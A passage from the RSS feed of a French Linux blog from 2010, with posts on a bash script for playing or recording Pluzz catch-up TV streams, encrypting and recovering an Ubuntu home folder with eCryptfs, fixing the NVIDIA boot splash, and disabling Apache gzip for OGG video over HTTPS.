<p><ins datetime="2012-01-09T19:00:00+01:00"><em>Pluzz</em> a récemment changé la manière dont les vidéos sont diffusées. Le script que j&#8217;ai proposé ici ne fonctionnera donc plus pour une majorité de vidéos. <em>Chaoswizard</em> en a créé <a href="http://forum.ubuntu-fr.org/viewtopic.php?pid=7728361#p7728361">un nouveau</a>, en <em>Python</em> pour prendre en compte ces changements.</ins></p>
<h3>Script</h3>
<p><ins datetime="2010-07-11T00:00:00+01:00">J&#8217;ai mis à jour le script avec une version 0.2, qui gère également les flux en <code>mp4</code> (<a href="apt://flvstreamer">flvstreamer</a> doit être installé).<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/pluzz/">ici</a> (au cas où une régression poserait problème).</ins></p>
<p>Voici le script (sous licence <a href="http://sam.zoy.org/wtfpl/">wtfpl</a>), à sauvegarder en tant que fichier exécutable <code>/usr/local/bin/pluzz</code> <em>(uniquement si vous comprenez ce que vous faites)</em>&nbsp;:</p>
<pre lang="bash">#!/bin/bash
# Script pour utiliser pluzz.fr
# v0.2 (11 juillet 2010)

if [ $# != 2 ]
then
    printf "Syntaxe: $0 [url|play|record] http://www.pluzz.fr/...\n" >&#038;2
    exit 1
fi
command="$1"
url="$2"

if [ "$command" != 'url' -a "$command" != 'play' -a "$command" != 'record' ]
then
    printf "Command must be 'url', 'play' or 'record', not '$command'\n" >&#038;2
    exit 2
fi

video_page_url=$(wget -qO- "$url" | grep -o 'http://info.francetelevisions.fr/?id-video=[^"]\+')
stream_url_part2=$(wget -qO- "$video_page_url" | grep urls-url-video | sed 's/.*content="\(.*\)".*/\1/')
ext=${stream_url_part2##*.}

if [ "$ext" = 'wmv' ]
then
    stream_url_part1='mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication'
elif [ "$ext" = 'mp4' ]
then
    stream_url_part1='rtmp://videozones-rtmp.francetv.fr/ondemand/mp4:cappuccino/publication'
else
    printf "Extension not managed : '$ext'\n" >&#038;2
    exit 3
fi

stream_url="$stream_url_part1/$stream_url_part2"

if [ "$command" = "url" ]
then
    printf "$stream_url\n"
elif [ "$command" = "play" ]
then
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url"
    else
        flvstreamer -r "$stream_url" | vlc -
    fi
elif [ "$command" = "record" ]
then
    output_file=${stream_url##*/}
    printf "Recording to $output_file...\n"
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url" ":sout=#std{access=file,mux=asf,dst=$output_file}"
    else
        flvstreamer -r "$stream_url" -o "$output_file"
    fi
fi</pre>
<p><ins datetime="2010-07-11T00:00:00+01:00">Le plus simple est de créer un fichier <code>pluzz</code> dans le dossier personnel, d&#8217;y recopier le script ci-dessus, et d&#8217;exécuter&nbsp;:</ins></p>
<pre>sudo install pluzz /usr/local/bin</pre>
<h3>Conclusion</h3>
<p>Après s&#8217;être déjà fait remarqué par leur <a href="http://www.numerama.com/magazine/15230-la-detestable-exclusivite-de-france-televisions-sur-orange-va-prendre-fin.html">exclusivité avec Orange</a>, j&#8217;espère que <em>France Télévisions</em> acceptera un jour de permettre l&#8217;accès à tous à la télévision de rattrapage.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/feed/</wfw:commentRss>
		<slash:comments>162</slash:comments>
		</item>
		<item>
		<title>Chiffrer son dossier personnel (/home) sous Ubuntu</title>
		<link>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/</link>
		<comments>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/#comments</comments>
		<pubDate>Sun, 16 May 2010 15:12:41 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[chiffrement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1476</guid>
		<description><![CDATA[Ubuntu permet d&#8217;activer le chiffrement du dossier personnel lors de l&#8217;installation, grâce à eCryptfs. Pourquoi chiffrer son dossier personnel&#160;? Parce que les documents personnels sont… personnels. La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données&#160;: il suffit de booter sur [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/05/cadenas.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/cadenas.png" alt="" title="cadenas" width="256" height="256" class="alignright size-full wp-image-1527" /></a></p>
<p>Ubuntu permet d&#8217;activer le chiffrement du dossier personnel lors de l&#8217;installation, grâce à <em>eCryptfs</em>.</p>
<h3>Pourquoi chiffrer son dossier personnel&nbsp;?</h3>
<p>Parce que les documents personnels sont… personnels.<br />
La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données&nbsp;: il suffit de booter sur un <em>LiveCD</em> pour récupérer les données en clair très simplement.</p>
<p>Ces données peuvent être de toutes sortes&nbsp;:</p>
<ul>
<li>des photos de vacances&nbsp;;</li>
<li>l&#8217;historique de comptes en banque&nbsp;;</li>
<li>les scans de documents administratifs&nbsp;;</li>
<li>des mails&nbsp;;</li>
<li>le contenu de discussions en messagerie instantanée&nbsp;;</li>
<li>l&#8217;historique de navigation&nbsp;;</li>
<li>les mots de passe enregistrés&nbsp;;</li>
<li>bien d&#8217;autres choses…</li>
</ul>
<p>Quand on sait que certains se font <a href="http://fr.wikipedia.org/wiki/Usurpation_d%27identit%C3%A9">voler leur identité</a> pour <a href="http://www.lepoint.fr/actualites-societe/2009-10-12/usurpation-d-identite-quand-les-victimes-deviennent-des-coupables/1597/0/384858">bien moins que ça</a>… Vous me direz, certains n&#8217;ont pas besoin de se faire voler leurs données, ils donnent volontairement tous leurs mails privés à <em>Google</em> et plein d&#8217;autres infos à <em>Facebook</em>, alors… <code>&lt;/troll&gt;</code></p>
<h4>Stockage des mots de passe</h4>
<p>Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).</p>
<p>Sur un système <em>GNU/Linux</em>, <em>a priori</em> il y a un <em>trousseau de clés</em>. Les logiciels peuvent l&#8217;utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C&#8217;est le cas par exemple d&#8217;<em>Evolution</em>, d&#8217;<em>Empathy</em>, de <em>Gwibber</em>… Pour voir les mots de passe enregistrés, il suffit d&#8217;ouvrir <em>Applications > Accessoires > Mots de passe et clés de chiffrement</em>.</p>
<p>Mais il y a un grand absent dans la liste des logiciels qui le gèrent&nbsp;: <em>Firefox</em>. <em>Firefox</em> enregistre les mots de passe quasiment en clair&nbsp;; c&#8217;est dommage, c&#8217;est à lui qu&#8217;on donne la majorité de nos mots de passe. Du coup, si j&#8217;accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans <em>Firefox</em>. D&#8217;ailleurs, c&#8217;est très simple&nbsp;: <em>Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe</em> (ça devrait inciter les gens à verrouiller leur session quand ils s&#8217;absentent plus de 5 secondes). Il y a bien une option <em>&laquo;&nbsp;Utiliser un mot de passe principal&nbsp;&raquo;</em>, mais comme il n&#8217;est pas intégré au système, il faut le renseigner une fois par session <em>Firefox</em> (en plus du mot de passe système donc). Cela suffit à dissuader de l&#8217;activer.</p>
<p>Je ne sais pas si c&#8217;est prévu pour <em>Firefox 4.0</em>, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de <em>WinAmp</em> il y a 10 ans (pardon on dit des <a href="http://www.getpersonas.com">personas</a>)…</p>
<p>Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.</p>
<h3>Mise en place du chiffrement</h3>
<p>Pour activer le chiffrement du dossier personnel lors de l&#8217;installation, il suffit de choisir la bonne option&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-install-ecryptfs.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-install-ecryptfs.png" alt="" title="ubuntu-install-ecryptfs" width="645" height="141" class="aligncenter size-full wp-image-1488" /></a><br />
<em>(je vous conseille aussi d&#8217;utiliser une partition séparée pour <code>/home</code>)</em></p>
<p>Et voilà, c&#8217;est tout.</p>
<p>Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu&#8217;elles soient protégées, mais il y a quelque chose d&#8217;encore plus important, c&#8217;est qu&#8217;elles soient récupérables…</p>
<p>Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.</p>
<h3>Principe</h3>
<p>Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l&#8217;utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.</p>
<p>Il faut bien distinguer ces deux <em>passphrases</em>&nbsp;:</p>
<ul>
<li>la première est la <strong>passphrase de montage</strong>&nbsp;: c&#8217;est elle qui permet de monter et d&#8217;utiliser le répertoire chiffré&nbsp;;</li>
<li>la seconde est la <strong>passphrase de login</strong>&nbsp;: c&#8217;est elle qui permet de déchiffrer la première, lors de la connexion de l&#8217;utilisateur.</li>
</ul>
<p>Tant que vous connaissez la <em>passphrase de montage</em>, vous pourrez récupérer vos données.<br />
Si vous connaissez uniquement la <em>passphrase de login</em>, vous pourrez normalement récupérer la <em>passphrase de montage</em> (mais c&#8217;est plus sûr de garder dans un coin la <em>passphrase de montage</em>, car on peut effacer involontairement le fichier permettant de faire le lien).<br />
Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…</p>
<p>Physiquement, les dossiers chiffrés sont stockés dans <code>/home/.ecryptfs/USER/.Private</code>.<br />
Les données servant au chiffrement et au déchiffrement sont dans <code>/home/.ecryptfs/USER/.ecryptfs</code>.<br />
Le répertoire <code>/home/USER</code>, quant à lui, n&#8217;existe pas physiquement&nbsp;: c&#8217;est juste une &laquo;&nbsp;vue&nbsp;&raquo; déchiffrée du répertoire <code>.Private</code>.</p>
<p><em>Remarque&nbsp;: les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier &laquo;&nbsp;en clair&nbsp;&raquo; (d&#8217;autant plus qu&#8217;ils contiennent un préfixe). Ceci a une conséquence&nbsp;: en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier &laquo;&nbsp;en clair&nbsp;&raquo; d&#8217;environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…</em></p>
<h3>Connaître la passphrase de montage</h3>
<p>Une fois le système démarré, il est possible de connaître la <em>passphrase de montage</em>&nbsp;:</p>
<pre>$ ecryptfs-unwrap-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476</pre>
<p>D&#8217;ailleurs, lors du premier démarrage, <em>Ubuntu</em> vous demandera d&#8217;exécuter cette commande et de noter quelque part le résultat.</p>
<p>Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d&#8217;un <em>LiveCD</em>), il faut préciser le fichier qui contient la <em>passphrase de montage</em> chiffrée&nbsp;:</p>
<pre>$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476</pre>
<h3>Changer la passphrase de login</h3>
<p>On ne peut pas changer facilement la <em>passphrase de montage</em>, car il faudrait alors rechiffrer toutes les données. Par contre, la <em>passphrase de login</em> peut être aisément changée (puisque seule la <em>passphrase de montage</em> sera à rechiffrer).</p>
<p>En pratique, ce changement est fait automatiquement lors d&#8217;un changement de mot de passe du compte utilisateur.</p>
<p>Pour la changer manuellement <em>(attention, il ne sera plus possible de démarrer correctement si la </em><em>passphrase de login</em> ne correspond pas au mot de passe de connexion)&nbsp;:</p>
<pre>$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Old wrapping passphrase: (entrer ici l'ancienne passphrase de login)
New wrapping passphrase: (entrer ici la nouvelle passphrase de login)</pre>
<h3>Réinstaller le système d&#8217;exploitation</h3>
<p>Pour réinstaller le système d&#8217;exploitation (par exemple pour y mettre une nouvelle version d&#8217;<em>Ubuntu</em>) en conservant son dossier personnel chiffré, il faut bien sûr avoir le <code>/home</code> sur une partition séparée, ne pas la formater lors de la nouvelle installation, mais il faut aussi utiliser le même login et <strong>le même mot de passe de connexion</strong>. Si vous respectez cette règle, vous n&#8217;avez rien de particulier à faire, tout est transparent.</p>
<p>Si vous avez changé le mot de passe, l&#8217;installation se déroule normalement sans avertissement, mais une fois le système installé, vous ne pourrez pas vous connecter (car vous n&#8217;avez pas de <code>/home</code> accessible). Si cela vous arrive, ce n&#8217;est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez manuellement votre <em>passphrase de login</em> (comme expliqué dans la section ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre ancienne <em>passphrase de login</em> vous sera demandée.</p>
<p>Si malheureusement vous ne vous souvenez plus de votre ancienne <em>passphrase de login</em> (vous le faites exprès ou quoi&nbsp;?), mais que vous possédez votre <em>passphrase de montage</em>, vous pouvez vous en sortir&nbsp;:</p>
<pre>$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase to wrap: (entrez ici la passphrase de montage)
Wrapped passphrase: (entrez ici la nouvelle passphrase de login)</pre>
<p>Redémarrez le système, et normalement tout fonctionne.</p>
<h3>Chiffrer son dossier personnel après installation</h3>
<p>Il est également possible de chiffrer son dossier personnel une fois le système installé. Cependant, il y a une limitation très contraignante&nbsp;: il faut avoir comme espace libre 2,5× la taille de l&#8217;espace occupé par le dossier personnel, c&#8217;est-à-dire que la partition contenant <code>/home</code> ne doit pas être remplie à plus de 28%.</p>
<p>Avant toute chose, <strong>faire une sauvegarde</strong> sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).</p>
<p>Le paquet <a href="apt://ecryptfs-utils">ecryptfs-utils</a> doit être installé&nbsp;:</p>
<pre>sudo apt-get install ecryptfs-utils</pre>
<p>La commande qui permet de <em>migrer</em> son home est <code>ecyptfs-migrate-home</code>. Cependant, aucune ressource de l&#8217;utilisateur du dossier personnel à migrer ne doit être utilisée (pas même un shell). On a donc besoin d&#8217;un autre utilisateur, par exemple <code>root</code> (provisoirement).</p>
<p>On réactive donc le compte root et on lui affecte un mot de passe&nbsp;:</p>
<pre>sudo passwd root</pre>
<p>Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas). Lors de l&#8217;écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec <code>root</code>, et exécuter&nbsp;:</p>
<pre>ecryptfs-migrate-home -u USER</pre>
<p>(en remplaçant USER par le nom de l&#8217;utilisateur dont le dossier personnel doit être migré)</p>
<p>Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…</p>
<p>Une fois terminé, se connecter avec l&#8217;utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.<br />
L&#8217;ancien dossier personnel (non chiffré) est dans <code>/home/USER.xxxxxx</code>.</p>
<p>Si tout s&#8217;est bien passé ce dossier doit être supprimé, et le compte <code>root</code> peut être désactivé&nbsp;:</p>
<pre>sudo passwd --lock root</pre>
<h3>Récupérer ses données chiffrées</h3>
<p>C&#8217;est la partie indispensable pour accepter d&#8217;utiliser un dossier personnel chiffré&nbsp;: être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.</p>
<p>Pour accéder aux données, il suffit d&#8217;un <em>LiveCD</em> d&#8217;une distribution avec un noyau <em>Linux</em> supérieur ou égal à 2.6.26. J&#8217;ai donc utilisé le <em>LiveCD</em> d&#8217;Ubuntu Lucid Lynx (10.04) pour mes tests, en m&#8217;inspirant de <a href="https://help.ubuntu.com/community/EncryptedPrivateDirectory#Recovering%20Your%20Data%20Manually">cette doc</a>.</p>
<p>Tout d&#8217;abord, il faut monter la partition contenant les dossiers chiffrés (ça se fait graphiquement en cliquant sur le disque correspondant dans le menu <em>Raccourcis</em>). J&#8217;utiliserai l&#8217;emplacement <code>/media/DISK</code> comme exemple.</p>
<p>Tout ce que nous allons faire à partir de maintenant nécessite d&#8217;être <code>root</code>, passons donc <code>root</code>&nbsp;:</p>
<pre>sudo -s</pre>
<p>La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite&nbsp;:</p>
<pre>root@ubuntu:/~# ecryptfs-add-passphrase --fnek
Passphrase: (entrer la passphrase de montage)
Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring
Inserted auth tok with sig [7890544814a5865f] into the user session keyring</pre>
<p>C&#8217;est le code entre crochets de la dernière ligne qui est important.</p>
<p>On va monter le répertoire chiffré dans un répertoire qu&#8217;on va appeler <code>decrypted</code>, créons-le&nbsp;:</p>
<pre>root@ubuntu:/~# mkdir decrypted</pre>
<p>Ensuite, on monte et on répond aux questions&nbsp;:</p>
<pre>root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted
Selection [aes]:
Selection [16]:
Enable plaintext passthrough (y/n) [n]:
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f</pre>
<p>(pour la FNEK, il faut bien préciser la signature qu&#8217;on a récupéré juste au-dessus)</p>
<p>Si tout s&#8217;est bien passé&nbsp;:</p>
<pre>Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=7890544814a5865f
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=514d1d3af1a232d
Mounted eCryptfs</pre>
<p>Les données sont maintenant accessibles:</p>
<pre>root@ubuntu:~# ls decrypted
Bureau     examples.desktop  Modèles  Public           Vidéos
Documents  Images            Musique  Téléchargements</pre>
<p>Pour démonter:</p>
<pre>root@ubuntu:~# umount decrypted</pre>
<h3>Conclusion</h3>
<p>Je pense qu&#8217;on a fait le tour de l&#8217;essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J&#8217;en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.</p>
<p>Il faut cependant être conscient de deux choses.</p>
<p>Tout d&#8217;abord, les données personnelles ne sont pas présentes uniquement dans le répertoire <code>/home</code>, elles sont copiées dans <code>/tmp</code>, dans la RAM, dans le SWAP <em>(il est également possible de chiffrer le SWAP, grâce à <code>ecryptfs-setup-swap</code>)</em>, etc. Le chiffrement est donc une étape essentielle dans la protection des données, mais il faut comprendre ce que ça protège (voir à ce sujet le <a href="http://guide.boum.org">guide d&#8217;autodéfense numérique</a>). </p>
<p>Ensuite, ce chiffrement est là pour protéger la <em>vie privée</em>, pas pour cacher quelque chose à la justice. D&#8217;une part, le code pénal prévoit une peine de 3 ans et 45000€ d&#8217;amende pour refus de fournir la <em>convention secrète de déchiffrement</em> (autrement dit la clé). D&#8217;autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l&#8217;objectif à atteindre, à savoir la protection de la vie privée).</p>
<p>Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter <a href="http://blog.rom1v.com/2009/05/gnupg-chiffrer-et-signer-sous-ubuntu-pour-les-nuls/">GnuPG : chiffrer et signer sous Ubuntu pour les nuls</a>.</p>
<p>Amusez-vous bien.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Splash screen Ubuntu Lucid Lynx (10.04) et pilote NVIDIA propriétaire</title>
		<link>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/</link>
		<comments>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/#comments</comments>
		<pubDate>Thu, 13 May 2010 14:26:53 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1446</guid>
		<description><![CDATA[Ubuntu utilise maintenant Plymouth pour le processus de démarrage graphique. C&#8217;est maintenant le noyau qui s&#8217;occupe de la configuration graphique à la place de Xorg&#160;: c&#8217;est plus joli, plus rapide… Le problème, c&#8217;est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote NVIDIA propriétaire ne supporte pas encore [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-lucid-boot.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/05/ubuntu-lucid-boot.png" alt="" title="ubuntu-lucid-boot" width="250" height="120" class="alignright size-full wp-image-1458" /></a><br />
<strong>Ubuntu</strong> utilise maintenant <strong>Plymouth</strong> pour le processus de démarrage graphique. C&#8217;est maintenant le noyau qui s&#8217;occupe de la configuration graphique à la place de <em>Xorg</em>&nbsp;: c&#8217;est plus joli, plus rapide…</p>
<p>Le problème, c&#8217;est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote <em>NVIDIA</em> propriétaire ne supporte pas encore cette fonctionnalité (alors que le pilote libre la gère correctement, mais ne supporte pas la 3D). Du coup, on se retrouve avec un <em>splash screen</em> très laid en basse résolution au démarrage.</p>
<p>Ce billet décrit comment avoir un logo à la bonne résolution (même si on n&#8217;obtiendra pas la fluidité possible actuellement avec le pilote libre). Une mise à jour sera peut-être disponible (espérons-le), avec un pilote <em>NVIDIA</em> propriétaire fonctionnant correctement. Si tel est le cas, merci de me prévenir, pour que je marque ce billet comme <em>déprécié</em>.</p>
<h3>Contourner le problème</h3>
<p><strong>Attention&nbsp;: ces modifications modifient votre configuration graphique, elles pourraient empêcher votre système de fonctionner correctement.</strong></p>
<p><em>Remplacez dans les étapes suivantes <code>1680x1050</code> par la définition de votre écran.</em></p>
<p>Tout d&#8217;abord, il faut prendre un post-it, un stylo, et écrire <em>«&nbsp;ne plus acheter d&#8217;ordinateur avec une carte graphique nécessitant des pilotes propriétaires pour fonctionner&nbsp;»</em>. Le coller ensuite bien en évidence pour s&#8217;en rappeler lors du prochain achat informatique.</p>
<p>Ensuite, installer le paquet <a href="apt://v86d">v86d</a>&nbsp;:</p>
<pre>sudo apt-get install v86d</pre>
<p>Puis éditer le fichier <code>/etc/default/grub</code>&nbsp;:</p>
<pre>gksudo gedit /etc/default/grub</pre>
<p>et remplacer la ligne&nbsp;:</p>
<pre>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"</pre>
<p>par&nbsp;:</p>
<pre>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset video=uvesafb:mode_option=1680x1050-24,mtrr=3,scroll=ywrap"</pre>
<p>et la ligne&nbsp;:</p>
<pre>#GRUB_GFXMODE=640x480</pre>
<p>par&nbsp;:</p>
<pre>GRUB_GFXMODE=1680x1050</pre>
<p>Puis exécuter les commandes suivantes&nbsp;:</p>
<pre>echo 'uvesafb mode_option=1680x1050-24 mtrr=3 scroll=ywrap' | sudo tee -a /etc/initramfs-tools/modules
echo FRAMEBUFFER=y | sudo tee /etc/initramfs-tools/conf.d/splash
sudo update-grub2
sudo update-initramfs -u</pre>
<p>Il ne reste plus qu&#8217;à redémarrer le système, le logo est maintenant joli.</p>
<p>Merci à <a href="http://news.softpedia.com/news/How-to-Fix-the-Big-and-Ugly-Plymouth-Logo-in-Ubuntu-10-04-140810.shtml">softpedia</a> pour cette astuce.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Vidéo OGG Theora sur HTTPS (dans Firefox) : configurer Apache</title>
		<link>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/</link>
		<comments>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 22:43:52 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ogg]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[theora]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1307</guid>
		<description><![CDATA[Tout le monde a entendu parler de la balise &#60;video/&#62;, la nouveauté la plus médiatisée d&#8217;HTML5. Le format vidéo à utiliser sur le web fait polémique (Theora ou H264) à cause de brevets logiciels, toujours bien présents dès il s&#8217;agit de freiner l&#8217;innovation. Une situation qu&#8217;à mon avis seul Google peut résoudre. Mais ce n&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/03/oggtheora.png" alt="" title="oggtheora" width="150" height="100" class="alignright size-full wp-image-1317" /></a><br />
Tout le monde a entendu parler de la balise <code>&lt;video/&gt;</code>, la nouveauté la plus médiatisée d&#8217;HTML5. Le format vidéo à utiliser sur le web fait polémique (<a href="http://standblog.org/blog/post/2010/01/26/Video-Theora-ou-H264">Theora ou H264</a>) à cause de brevets logiciels, toujours bien présents dès il s&#8217;agit de freiner l&#8217;innovation. Une situation qu&#8217;à mon avis <a href="http://www.fsf.org/blogs/community/google-free-on2-vp8-for-youtube">seul Google peut résoudre</a>. Mais ce n&#8217;est pas l&#8217;objet de ce billet, pour l&#8217;instant, le format, c&#8217;est <em>OGG Theora</em>. Il suffit de placer un fichier <code>ogv</code> quelque part sur un serveur, et <em>Firefox</em> sait la lire.</p>
<p>Un problème survient cependant dès qu&#8217;on veut y accéder sur HTTPS plutôt qu&#8217;HTTP&nbsp;: on ne peut pas <em>seeker</em> dans la vidéo (c&#8217;est-à-dire qu&#8217;on ne peut pas déplacer le curseur pour se positionner à n&#8217;importe quel endroit), et on ne connaît pas sa durée totale.</p>
<p>Quelle différence entre l&#8217;accès en HTTP et HTTPS?</p>
<p>En HTTP, on reçoit la taille du fichier vidéo&nbsp;:</p>
<pre>$ curl --compressed -I http://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg</pre>
<p>En HTTPS, on ne la reçoit pas, car le flux est compressé en <em>gzip</em>.</p>
<pre>$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Encoding: gzip
Content-Type: video/ogg</pre>
<p><em>(<code>-k</code> permet d&#8217;autoriser l&#8217;utilisation d&#8217;un certificat SSL non reconnu)</em></p>
<p>C&#8217;est la source du problème. Pourquoi ce comportement différent par défaut entre HTTP et HTTPS, je n&#8217;en sais rien (si quelqu&#8217;un peut m&#8217;éclairer…).</p>
<p>Par contre, il est très facile de désactiver la compression pour certains types de fichiers, comme les images ou les vidéos (compression qui n&#8217;a de toute façon aucun intérêt ces fichiers sont déjà compressés).</p>
<p>Pour cela, il suffit de rajouter une ligne dans <code>/etc/apache2/mods-available/deflate.conf</code>&nbsp;:</p>
<pre>SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png|ogg|oga|ogv)$ no-gzip dont-vary</pre>
<p>et de recharger <em>Apache</em>&nbsp;:</p>
<pre>sudo service apache reload</pre>
<p>Et maintenant, ça fonctionne correctement sur HTTPS&nbsp;:</p>
<pre>$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Filtrer les spams sur un serveur mail (SpamAssassin)</title>
		<link>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/</link>
		<comments>http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 22:25:54 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[spam]]></category>
